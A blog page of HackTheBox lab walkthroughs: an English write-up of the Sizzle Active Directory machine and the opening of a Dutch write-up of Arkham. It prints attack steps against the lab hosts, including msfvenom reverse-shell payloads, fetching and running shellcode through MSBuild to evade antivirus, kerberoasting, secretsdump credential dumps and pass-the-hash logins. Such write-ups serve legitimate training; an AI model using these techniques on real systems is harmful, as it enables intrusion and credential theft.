HTB-SIZZLE-NL

Sizzle was a great machine, everything was great. It was very realistic, fun and of course challenging. Personally one of my favorites and one of the best Active Directory boxxes I have ever solved. It starts with getting write access to a folder in an smb share, a simple scf file attack with responder and john can give me a password for a user. With that password, I was able to generate a certificate request and get a certificate and then a WinRm session. After that comes the most challenging part of the box that bypasses antivirus, kerberoasting, and privilege escalation, but before we do that, we’ll take an unintentional look at it first. That was the box for short, it’s a Windows box and the IP is 10.10.10.103, I added it to / etc / hosts like sizzle.htb. 


Nmap

As always, first an nmap scan

root @ kali: ~ / htb / sizzle # nmap -sV -sT -sC sizzle.htb
Starting Nmap 7.80 (https://nmap.org) at 2020-01-02 06:30 EST
Nmap scan report for sizzle.htb (10.10.10.103)
Host is up (0.12s latency).
Not shown: 990 filtered ports
PORT STATE SERVICE VERSION
21 / tcp open ftp Microsoft ftpd
| _ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| _ SYST: Windows_NT
53 / tcp open domain?
| fingerprint strings:
| DNSVersionBindReqTCP:
| version
| _ bind
135 / tcp open msrpc Microsoft Windows RPC
139 / tcp open netbios-ssn Microsoft Windows netbios-ssn
389 / tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName = sizzle.HTB.LOCAL
| Subject Alternative Name: othername: <unsupported>, DNS: sizzle.HTB.LOCAL
| Not valid before: 2020-01-02T11: 22: 14
| _Not valid after: 2021-01-01T11: 22: 14
| _ssl-date: 2020-01-02T11: 35: 10 + 00: 00; + 1m11s from scanner time.
445 / tcp open microsoft ds?
464 / tcp open kpasswd5?
593 / tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636 / tcp open ssl / ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName = sizzle.HTB.LOCAL
| Subject Alternative Name: othername: <unsupported>, DNS: sizzle.HTB.LOCAL
| Not valid before: 2020-01-02T11: 22: 14
| _Not valid after: 2021-01-01T11: 22: 14
| _ssl-date: 2020-01-02T11: 35: 09 + 00: 00; + 1m11s from scanner time.
3268 / tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName = sizzle.HTB.LOCAL
| Subject Alternative Name: othername: <unsupported>, DNS: sizzle.HTB.LOCAL
| Not valid before: 2020-01-02T11: 22: 14
| _Not valid after: 2021-01-01T11: 22: 14
| _ssl-date: 2020-01-02T11: 35: 09 + 00: 00; + 1m11s from scanner time.
1 service unrecognized despite returning data. If you know the service / version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service:
SF-Port53-TCP: V = 7.80% I = 7% D = 1/2% Time = 5E0DD478% P = x86_64-pc-linux-gnu% r (DNSVe
SF: rsionBindReqTCP, 20, "\ 0 \ x1e \ 0 \ x06 \ x81 \ x04 \ 0 \ x01 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ x07version \ x
SF: 04bind \ 0 \ 0 \ x10 \ 0 \ x03 ");
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe: / o: microsoft: windows

Host script results:
| _clock-skew: mean: 1m10s, deviation: 0s, median: 1m10s
| smb2-security-mode:
| 2.02:
| _ Message signing enabled and required
| smb2-time:
| date: 2020-01-02T11: 34: 31
| _ start_date: 2020-01-02T11: 31: 19

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 228.22 seconds
root @ kali: ~ / htb / sizzle #

 

We have many ports, we have ftp on port 21, dns on port 53, http on port 80, smb and ldap. We also see that the domain is HTB.LOCAL and commonName is sizzle.htb.local so I added it to / etc / hosts:


HTTP

I checked the http server and the index only had this gif:

Then I turned gobuster en DirB

root @ kali: ~ / htb / sizzle # gobuster dir -u http://10.10.10.103 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
================================================== =============
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
================================================== =============
[+] Url: http://10.10.10.103
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster / 3.0.1
[+] Timeout: 10s
================================================== =============
2020/01/02 06:33:35 Starting gobuster
================================================== =============
/ images (Status: 301)
/ Images (Status: 301)
/ IMAGES (Status: 301)

root @ kali: ~ / htb / sizzle # dirb http://10.10.10.103

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Jan 2 07:48:37 2020
URL_BASE: http://10.10.10.103/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.103/ ----
==> DIRECTORY: http://10.10.10.103/aspnet_client/                                                    
==> DIRECTORY: http://10.10.10.103/certenroll/                                                       
+ http://10.10.10.103/certsrv (CODE: 401 | SIZE: 1293)

/certenroll seems interesting, but is unfortunately prohibited:

Time to check smb.


SMB, SCF File Attack, Amanda’s Credentials

The first thing we need to know are the “shares”, we can use smbclient to list the “shares”:
smbclient --list //sizzle.htb/ -U ""

I noticed that there was a share for Active Directory Certificate Services. Most likely / certsrv is on the web server:
http://sizzle.htb/certsrv

root@kali:~/htb# smbclient //sizzle.htb/"Department Shares" -U ""
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\'s password: 
Try "help" to get a list of possible commands.
smb: \>

There were many directories, but 2 that allowed writing: ZZ_ARCHIVEand Users/Public.

We are looking for references. Since we can write to any of the folders, we may be able to apply an scf file attack. You can go  here . read over. We are going to put an scffile in Users/Public. It looks like this:

Then we will perform responder. When a user browses through that folder, he automatically tries to connect to my box via smb, that’s when responder catches the hashes. More info in the link above.

 

root @ kali: / tmp # responder -I tun0
__
. ----. -----. -----. -----. -----. ----- .-- | |. ----- .----.
| _ | -__ | __ - | _ | _ | | _ || -__ | _ |
| __ | | _____ | _____ | __ | _____ | __ | __ | _____ || _____ | __ |
| __ |

NBT-NS, LLMNR & MDNS Responder 2.3.4.0


-cut-

[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.16.70]
Challenge set [random]
Don't Respond To Names ['ISATAP']

[+] Listening for events ...
[SMB] NTLMv2-SSP Client: 10.10.10.103
[SMB] NTLMv2-SSP Username: HTB \ amanda
[SMB] NTLMv2-SSP Hash: amanda :: HTB: a6d23653a4821fc8: 03851040934EDC44A5A58C61B9C048AE:
[*] Skipping previously captured hash for HTB \ amanda

responder captured hash for a user named Amanda. Let’s crack it with John:

The password is Ashare1972


Requesting a Certificate, WinRm Session as amanda

I tried to access certenroll as amanda and it worked fine

root @ kali: ~ / htb / sizzle # smbclient //sizzle.htb/"CertEnroll "-U amanda 
Enter WORKGROUP \ amanda's password: Ashare1972
Try" help "to get a list of possible commands. smb: \> ls   . D 0 Tue Jun 30 13:47:19 2020 .. D 0 Tue Jun 30 13:47:19 2020 HTB-SIZZLE-CA+.crl A 721 Tue Jun 30 13:47:19 2020 HTB-SIZZLE-CA.crl A 909 Tue Jun 30 13:47:19 2020 nsrev_HTB-SIZZLE-CA.asp A 322 Mon Jul 2 16:36:05 2018 sizzle.HTB.LOCAL_HTB-SIZZLE-CA.crt A 871 Mon Jul 2 16:36:03 2018

So I went to /certsrvand used amanda’s credentials to authenticate

Now it is time to get a certificate. But wait, what is the certificate for?
A full full nmapscan shows that WinRmports are open:
nmap -p- -T5 -vvv --max-retries 1 sizzle.htb

nmap -p 5985,5986 -sV -sT -sC sizzle.htb

Port 5985 uses http while 5986 uses https. When I got the data from Amanda I tried to connect to port 5985 and it didn’t work so we do it through port 5986 which is why we need a certificate. (If you don’t know how to connect via WinRm, we’ll get to that later.)
We’ll generate a certificate request and a private key:
openssl req -newkey rsa:2048 -nodes -keyout request.key -out request.csr

Then we will make an advanced certificate request, paste our request and download the certificate (base64 encoded)

Now we can use WinRm, but what is WinRm?

WinRm is not intended to be used from Linux, but luckily there is Ruby library . That’s how we connect.

I used Alamot’s shell and added some for the certificate and key:

root @ kali: ~ / htb / sizzle # cat htb-sizzle-winrm.rb 
#! / usr / bin / ruby
require 'winrm'

# Author: Alamot

conn = WinRM :: Connection.new ( 
endpoint: 'https://10.10.10.103:5986/wsman',
transport:: ssl,
client_cert: '/root/htb/sizzle/certnew.cer',
client_key: '/root/htb/sizzle/request.key',
: no_ssl_peer_verification => true
)

command = ""

conn.shell (: powershell) do | shell |
until command == "exit \ n" do
output = shell.run ("- join ($ id, 'PS', $ (whoami), '@', $ env: computername, '', $ ((gi $ pwd) .Name), '>')" )
print (output.output.chomp)
command = gets 
output = shell.run (command) do | stdout, stderr |
STDOUT.print stdout
STDERR.print stderr
end
end 
puts "Exiting with code # {output.exitcode}"
end

And it worked:

But there was no user.txt:


Stored NTLM Hashes, Secretsdump, Privilege Escalation

Due to file system enumeration I found a file file.txtin it C:\Windows\System32. That file had NTLM hashes for all users!

root @ kali: ~ / htb / sizzle # ruby htb-sizzle-winrm.rb  
PS htb \ amanda @ SIZZLE Documents> type C: \ Windows \ System32 \ file.txt
krbtgt: 502: aad3b435b51404eeaad3b435b51404ee: 296ec447eee58283143efbd5d39408c8 :::
Administrator: 500: aad3b435b51404eeaad3b435b51404ee: c718f548c75062ada93250db208d3178 :::

Domain User ID Hash
------ ---- - ----
HTB.LOCAL Guest 501 - 
amanda: 1104: aad3b435b51404eeaad3b435b51404ee: 7d0516ea4b6ed084f3fdf71c47d9beb3 :::
mrb3n: 1105: aad3b435b51404eeaad3b435b51404ee: bceef4f6fe9c026d1d8dec8dce48adef :::
mrlky: 1603: aad3b435b51404eeaad3b435b51404ee: bceef4f6fe9c026d1d8dec8dce48adef :::
PS htb \ amanda @ SIZZLE Documents>

I honestly don’t know why. After resetting the machine, the file was still there. I don’t know if the creator made an accidental mistake, but at least let’s see how we can use that.
That admin hash was useless, I tried with SMB, I cracked it, tried Psexec. It did not work. I cracked mrlky’s hash:

The password was Football # 7 , I used it with secretsdump.py from impacket and got another hash from the administrator:

root@kali:~/htb# secretsdump.py -just-dc mrlky@sizzle.htb.local 
Impacket v0.9.22.dev1+20200629.145357.5d4ad6cc - Copyright 2020 SecureAuth Corporation

Password:Football#7
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
sizzler:1604:aad3b435b51404eeaad3b435b51404ee:d79f820afad0cbc828d79e16a6f890de:::
SIZZLE$:1001:aad3b435b51404eeaad3b435b51404ee:90fff1f794a2c3b1b2cd892a1f48c7fb:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:e562d64208c7df80b496af280603773ea7d7eeb93ef715392a8258214933275d
Administrator:aes128-cts-hmac-sha1-96:45b1a7ed336bafe1f1e0c1ab666336b3
Administrator:des-cbc-md5:ad7afb706715e964
krbtgt:aes256-cts-hmac-sha1-96:0fcb9a54f68453be5dd01fe555cace13e99def7699b85deda866a71a74e9391e
krbtgt:aes128-cts-hmac-sha1-96:668b69e6bb7f76fa1bcd3a638e93e699
krbtgt:des-cbc-md5:866db35eb9ec5173
amanda:aes256-cts-hmac-sha1-96:60ef71f6446370bab3a52634c3708ed8a0af424fdcb045f3f5fbde5ff05221eb
amanda:aes128-cts-hmac-sha1-96:48d91184cecdc906ca7a07ccbe42e061
amanda:des-cbc-md5:70ba677a4c1a2adf
mrlky:aes256-cts-hmac-sha1-96:b42493c2e8ef350d257e68cc93a155643330c6b5e46a931315c2e23984b11155
mrlky:aes128-cts-hmac-sha1-96:3daab3d6ea94d236b44083309f4f3db0
mrlky:des-cbc-md5:02f1a4da0432f7f7
sizzler:aes256-cts-hmac-sha1-96:85b437e31c055786104b514f98fdf2a520569174cbfc7ba2c895b0f05a7ec81d
sizzler:aes128-cts-hmac-sha1-96:e31015d07e48c21bbd72955641423955
sizzler:des-cbc-md5:5d51d30e68d092d9
SIZZLE$:aes256-cts-hmac-sha1-96:030d88489850a42ac3e92454f7a66f61189450943a2d9836d7b376e5236e12c5
SIZZLE$:aes128-cts-hmac-sha1-96:9032103c089fb008ad9cde29b3a6132f
SIZZLE$:des-cbc-md5:f81a64e0a1a20eb5
[*] Cleaning up...

It wasn’t cracking, I tried the psexec metasploit module and for some reason it didn’t work so I used the hash with smb to access C $ then downloaded the flags.

root @ kali: ~ / htb / sizzle # smbclient //sizzle.htb/C$ -U "Administrator" --pw-nt-hash f6b7160bfc91823792e0ac3a162c9267
Try "help" to get a list of possible commands.
smb: \> cd users
smb: \ users \> cd administrator
smb: \ users \ administrator \> cd desktop
smb: \ users \ administrator \ desktop \> ls
 . DR 0 Tue Jul 10 18:24:52 2018
 .. DR 0 Tue Jul 10 18:24:52 2018
 desktop.ini AHS 282 Mon Jul 2 23:00:22 2018
 root.txt A 32 Tue Jul 10 18:24:58 2018
smb: \ users \ administrator \ desktop \>

Now forget that we saw that, Let’s try something more realistic.


Backtrack

Back to the WinRmsession as amanda, let’s examine our environment.
There was AppLocker:

Antivirus:

We were even in Constrained Language Mode in PowerShell:

Since this was an Active Directory environment I wanted to do kerberoasting, but Invoke-Kerberoast.ps1needed Full Language Mode, I couldn’t use GetUserSPNs.pybecause the services were internal only. And my attempts to evade the antivirus failed. I could bypass the constrained language mode with PSByPassCLM and still couldn’t use
Invoke-Kerberoast.ps1. AppLocker is easy to bypass so it wasn’t an issue. But I had to bypass the antivirus.


Bypassing AV

CLM / AppLocker Break Out

Enumeration

The shell I have is quite limited. I can see that I’m in constrained language mode, and that AppLocker is limiting what I can run.

PS htb\amanda@SIZZLE v2.0.50727> $executioncontext.sessionstate.languagemode
ConstrainedLanguage   
PS htb\amanda@SIZZLE Documents> Get-AppLockerPolicy -Effective -XML

I found this article and this POC
First time I created the payload like this:

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.xx.xx LPORT=1339 -f csharp

And I added the shellcode to the POC and applied the exploit:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\windows\system32\spool\drivers\color\shellcode.xml

The antivirus detected it. I added an encoder and 100 iterations and tried again:

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.xx.xx LPORT=1339 -e x86/shikata_ga_nai -i 100 -f csharp

Then I added the shellcode to shellcode.xml
shellcode.xmlhttps://github.com/puckiestyle/pentest/blob/master/shellcode.xml

root @ kali: ~ / htb / sizzle # python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.103 - - [02 / Jan / 2020 09:45:17] "GET /shellcode.xml HTTP / 1.1" 200 -
PS htb \ amanda @ SIZZLE color> Invoke-WebRequest -o shellcode.xml http://10.10.16.70/shellcode.xml 
PS htb \ amanda @ SIZZLE color> c: \ Windows \ Microsoft.NET \ Framework \ v4.0.30319 \ MSBuild.exe c: \ windows \ system32 \ spool \ drivers \ color \ shellcode.xml
Microsoft (R) Build Engine version 4.6.1586.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 1/2/2020 9:52:59 AM.

This time it worked, and I got a meter preter session!

msf5 exploit (multi / handler)> exploit

[*] Started reverse TCP handler on 10.10.16.70:1339 
[*] Sending stage (179779 bytes) to 10.10.10.103
[*] Meterpreter session 1 opened (10.10.16.70:1339 -> 10.10.10.103:57175) at 2020-01-02 09:51:50 -0500

meterpreter> sysinfo
Computer: SIZZLE
OS: Windows 2016 (Build 14393).
Architecture: x64
System Language: en_US
Meter preter: x86 / windows
meter preter>

 


Kerberoasting, Privilege Escalation

Now we have a meterpretersession, we can route the internal subnet, use a proxy then use GetUserSPNs.pyand see if any user is kerberoastable.
First thing is to configure proxychainsto use port 8080:
/etc/proxychains.conf

Then we will use auxiliary/server/socks4ato add the route and set up the proxy:

route add 10.10.10.0 255.255.255.0 1this adds a route of the whole internal subnet where 1is the session number.
Now we are ready. Let’s kerberoast!

root @ kali: ~ / htb / sizzle # proxychains GetUserSPNs.py -request -dc-ip 10.10.10.103 HTB.LOCAL / amanda: Ashare1972
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

| S-chain | - <> - 127.0.0.1:9050-<><>-10.10.10.103:389-<><>-OK
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon 
-------------------- ----- ------------------------- ---------------------------- ---------------------- ---- --------------------------
http / sizzle mrlky CN = Remote Management Users, CN = Builtin, DC = HTB, DC = LOCAL 2018-07-10 14: 08: 09.536421 2018-07-12 10: 23: 50.871575

| S-chain | - <> - 127.0.0.1:9050-<><>-10.10.10.103:88-<><>-OK
| S-chain | - <> - 127.0.0.1:9050-<><>-10.10.10.103:88-<><>-OK
| S-chain | - <> - 127.0.0.1:9050-<><>-10.10.10.103:88-<><>-OK
$ krb5tgs $ 23 $ * mrlky $ HTB.LOCAL $ http / sizzle * $ 74c34fa35f660924e4aee5fe2a825cbb $ 2912898f4e75794e6750066f47fb2ebcf0b320282ca6b9ff00b0572b39f45795a6d8367d2bbd073e18e8a669117d4e6dd2af17201e7466adadcecef7dccc52b31d553b9064aabf7de0e2200f2b4edcb214e198c1082cb65879dad99e4be078c9621a2f75a34e5175bad3a22b5c8f453caa957e35ef3698d758c4e5648b9b7a2046aed03bf772beb11e48c223c432263fda8aeacacc5a06cdb40d77ade4b5f3346ce37fdad2d346b79be4adc0ff7c7c59413c5083cfddcec1263685af7eb088d7a51803f5761a4e4b232f84bd24df54ec4bad85b57b12d865f0969b0871d038dc5f8acac9acd1592c41b39c4c027f991c96d0d869f00cfab092311baff1d9ba880c858c678e486453775223746a01a6c893f74a3ff13e972a909b72b842561505b6ec74dedb2a5046184d3b3a6445a2f65c3715db38379d50f542c77fd297b26fd22f30f3198006774044afa48336ec8f4c539f296128b861e4e67767921b7c2ab149ae5d415098086e4e23ff305b684f078bc7a89fca3ebefd5a7f3d189cd6ae10176dc9b8fef8e6a93a6d820ad11948247d130647d3453df0755ccc1450c188ed3894b270fd052934674626d8685df1f12e32cbf2cf60a1c9940a68bb0e89e70ffb2211f6d758be7442ba13d6646b4afecdede2fb2449b96101709e16757c2c7e1366e4aea3
root @ kali: ~ / htb / sizzle #

User mrlkywas kerberoastable and we have a hash, let’s give this to john:

root @ kali: ~ / htb / sizzle # john --wordlist = / usr / share / wordlists / rockyou.txt mrlky.hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS ​​etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Football # 7 (?)
1g 0: 00: 00: 20 DONE (2020-01-02 10:16) 0.04780g / s 533806p / s 533806c / s 533806C / s Forever29Life05..Fokatrepa
Use the "--show" option to display all of the cracked passwords reliably
Session completed
The password is Football#7, now we can reuse secretdump.py and do the same as before:
root @ kali: ~ / htb / sizzle # secretsdump.py sizzle.htb.local / mrlky: Football#7@sizzle.htb.local
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain \ uid: rid: lmhash: nthash)
[*] Using the DRSUAPI method to get NTDS.DIT ​​secrets
Administrator: 500: aad3b435b51404eeaad3b435b51404ee: f6b7160bfc91823792e0ac3a162c9267 :::
Guest: 501: aad3b435b51404eeaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0c089c0 :::
krbtgt: 502: aad3b435b51404eeaad3b435b51404ee: 296ec447eee58283143efbd5d39408c8 :::
DefaultAccount: 503: aad3b435b51404eeaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0c089c0 :::
amanda: 1104: aad3b435b51404eeaad3b435b51404ee: 7d0516ea4b6ed084f3fdf71c47d9beb3 :::
mrlky: 1603: aad3b435b51404eeaad3b435b51404ee: bceef4f6fe9c026d1d8dec8dce48adef :::
sizzler: 1604: aad3b435b51404eeaad3b435b51404ee: d79f820afad0cbc828d79e16a6f890de :::
SIZZLE $: 1001: aad3b435b51404eeaad3b435b51404ee: 0979e102285334d59af1854ac247db8b :::
[*] Kerberos keys grabbed
Administrator: aes256-cts-hmac-sha1-96: e562d64208c7df80b496af280603773ea7d7eeb93ef715392a8258214933275d
Administrator: aes128-cts-hmac-sha1-96: 45b1a7ed336bafe1f1e0c1ab666336b3
Administrator: des-cbc-md5: ad7afb706715e964
krbtgt: aes256-cts-hmac-sha1-96: 0fcb9a54f68453be5dd01fe555cace13e99def7699b85deda866a71a74e9391e
krbtgt: aes128-cts-hmac-sha1-96: 668b69e6bb7f76fa1bcd3a638e93e699
krbtgt: des-cbc-md5: 866db35eb9ec5173
amanda: aes256-cts-hmac-sha1-96: 60ef71f6446370bab3a52634c3708ed8a0af424fdcb045f3f5fbde5ff05221eb
amanda: aes128-cts-hmac-sha1-96: 48d91184cecdc906ca7a07ccbe42e061
amanda: des-cbc-md5: 70ba677a4c1a2adf
mrlky: aes256-cts-hmac-sha1-96: b42493c2e8ef350d257e68cc93a155643330c6b5e46a931315c2e23984b11155
mrlky: aes128-cts-hmac-sha1-96: 3daab3d6ea94d236b44083309f4f3db0
mrlky: des-cbc-md5: 02f1a4da0432f7f7
sizzler: aes256-cts-hmac-sha1-96: 85b437e31c055786104b514f98fdf2a520569174cbfc7ba2c895b0f05a7ec81d
sizzler: aes128-cts-hmac-sha1-96: e31015d07e48c21bbd72955641423955
sizzler: des-cbc-md5: 5d51d30e68d092d9
SIZZLE $: aes256-cts-hmac-sha1-96: b2fdd1cec387ef3bee7799b798b665df34acd3b8f3fc15ef8d5e621e77abc5dd
SIZZLE $: aes128-cts-hmac-sha1-96: b17b20014028f2d7f99d03bc5f8c2d1f
SIZZLE $: des-cbc-md5: 6b45e586077a4f57
[*] Cleaning up ...

That is it !

Author – Puckiestyle

 

htb-arkham-nl

Arkham is een behoorlijk moeilijk vak om als medium te worden gerangschikt. Het moeilijkste deel is het verkrijgen van toegang tot het systeem via een kwetsbaarheid voor deserialisatie van Java, waarbij het kwetsbare object moet worden gecodeerd om het te laten werken. Escalate-rechten zijn dan vrij eenvoudig, zoek gewoon het wachtwoord van een andere gebruiker die toegang heeft tot het gehele bestandssysteem.


Gebruiker

Voer eerst nmap om te zien dat we een IIS op poort 80 , een Apache in poort 8080 en SMB ingeschakeld.

root@kali:~/htb/arkham# nmap -sC -sV 10.10.10.130
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-24 07:56 EST
Nmap scan report for arkham.htb (10.10.10.130)
Host is up (0.041s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
8080/tcp open  http          Apache Tomcat 8.5.37
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Mask Inc.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 59s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-12-24T12:58:18
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.22 seconds

Als we de beschikbare aandelen met smbclient , kunnen we de volgende zien.

root@kali:~/htb/arkham# smbclient -L //10.10.10.130
Enter WORKGROUP\root's password:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
BatShare Disk Master Wayne's secrets
C$ Disk Default share
IPC$ IPC Remote IPC
Users Disk 
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.130 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available

We hebben leesrechten op BatShare en in deze share hebben we maar één bestand appserver.zip , laten we het downloaden om te zien wat erin zit.

root@kali:~/htb/arkham# smbclient //10.10.10.130/BatShare
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Feb 3 08:00:10 2019
.. D 0 Sun Feb 3 08:00:10 2019
appserver.zip A 4046695 Fri Feb 1 01:13:37 2019

5158399 blocks of size 4096. 2130769 blocks available
smb: \>

Pak het uit om twee bestanden te vinden.

root@kali:~/htb/arkham# unzip appserver.zip 
Archive:  appserver.zip
  inflating: IMPORTANT.txt           
  inflating: backup.img  

De txt heeft het volgende bericht.

root@kali:~/htb/arkham# cat IMPORTANT.txt 
Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce

En het andere bestand is een LUKS gecodeerde afbeelding, wat betekent dat we een wachtwoord nodig hebben om te zien wat erin zit.

root@kali:~/htb/arkham# file backup.img 
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e

We gaan het wachtwoord bruut forceren, maar het gooien van de hele rockyou.txt zou te veel kosten, dus we kunnen er een subset van maken met alleen de wachtwoorden die batman bevatten, omdat de boxnaam batman’s stad is.

 root @ kali: ~ / htb / arkham # grep batman /usr/share/wordlists/rockyou.txt> batman_rocks.txt

Voer vervolgens hashcat en uiteindelijk zal het juiste wachtwoord batmanforever .

 # hashcat -m 14600 -a 0 backup.img /usr/share/wordlists/rockyou.txt
 batmanforever

Nu, met het wachtwoord kunnen we de afbeelding mounten.

root@kali:~/htb/arkham# cryptsetup luksOpen backup.img backup
Enter passphrase for backup.img: batmanforever

Bevestig dat de afbeelding correct is toegewezen.

root@kali:~/htb/arkham# cryptsetup -v status backup
/dev/mapper/backup is active and is in use.
  type:    LUKS1
  cipher:  aes-xts-plain64
  keysize: 256 bits
  key location: dm-crypt
  device:  /dev/loop0
  loop:    /root/htb/arkham/backup.img
  sector size:  512
  offset:  4096 sectors
  size:    22528 sectors
  mode:    read/write
Command successful.

Hier hebben we het script van de film Batman Begins , een paar foto’s en enkele Tomcat configuratiebestanden.

root@kali:/media/root/af474e94-894e-4bb6-897a-adc82884b3d8# ls -laR
.:
total 18
drwxr-xr-x  4 root root  1024 Dec 25 01:00 .
drwxr-x---+ 3 root root  4096 May 25 06:16 ..
drwx------  2 root root 12288 Dec 25 00:59 lost+found
drwxrwxr-x  4 root root  1024 Dec 25 00:23 Mask

./lost+found:
total 13
drwx------ 2 root root 12288 Dec 25 00:59 .
drwxr-xr-x 4 root root  1024 Dec 25 01:00 ..

./Mask:
total 882
drwxrwxr-x 4 root root   1024 Dec 25 00:23 .
drwxr-xr-x 4 root root   1024 Dec 25 01:00 ..
drwxr-xr-x 2 root root   1024 Dec 25 00:22 docs
-rw-rw-r-- 1 root root  96978 Dec 25 00:18 joker.png
-rw-rw-r-- 1 root root 105374 Dec 25 00:20 me.jpg
-rw-rw-r-- 1 root root 687160 Dec 25 00:20 mycar.jpg
-rw-rw-r-- 1 root root   7586 Dec 25 00:19 robin.jpeg
drwxr-xr-x 2 root root   1024 Dec 25 00:24 tomcat-stuff

./Mask/docs:
total 198
drwxr-xr-x 2 root root   1024 Dec 25 00:22 .
drwxrwxr-x 4 root root   1024 Dec 25 00:23 ..
-rw-r--r-- 1 root root 199998 Jun 15  2017 Batman-Begins.pdf

./Mask/tomcat-stuff:
total 193
drwxr-xr-x 2 root root   1024 Dec 25 00:24 .
drwxrwxr-x 4 root root   1024 Dec 25 00:23 ..
-rw-r--r-- 1 root root   1368 Dec 25 00:23 context.xml
-rw-r--r-- 1 root root    832 Dec 25 00:24 faces-config.xml
-rw-r--r-- 1 root root   1172 Dec 25 00:23 jaspic-providers.xml
-rw-r--r-- 1 root root     39 Dec 25 00:24 MANIFEST.MF
-rw-r--r-- 1 root root   7678 Dec 25 00:23 server.xml
-rw-r--r-- 1 root root   2208 Dec 25 00:23 tomcat-users.xml
-rw-r--r-- 1 root root 174021 Dec 25 00:23 web.xml
-rw-r--r-- 1 root root   3498 Dec 25 00:24 web.xml.bak

Wat hier interessant is, is de volgende configuratie in web.xml.bak die we later nodig zullen hebben.

root@kali:/media/root/af474e94-894e-4bb6-897a-adc82884b3d8/Mask/tomcat-stuff# cat web.xml.bak
...
<context-param>
<description>State saving method: 'client' or 'server' (=default). See JSF Specification 2.5.2</description>
<param-name>javax.faces.STATE_SAVING_METHOD</param-name>
<param-value>server</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
    <context-param>
        <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
        <param-value>HmacSHA1</param-value>
     </context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
...

Als we dit hebben, kunnen we nu doorgaan naar een andere service.

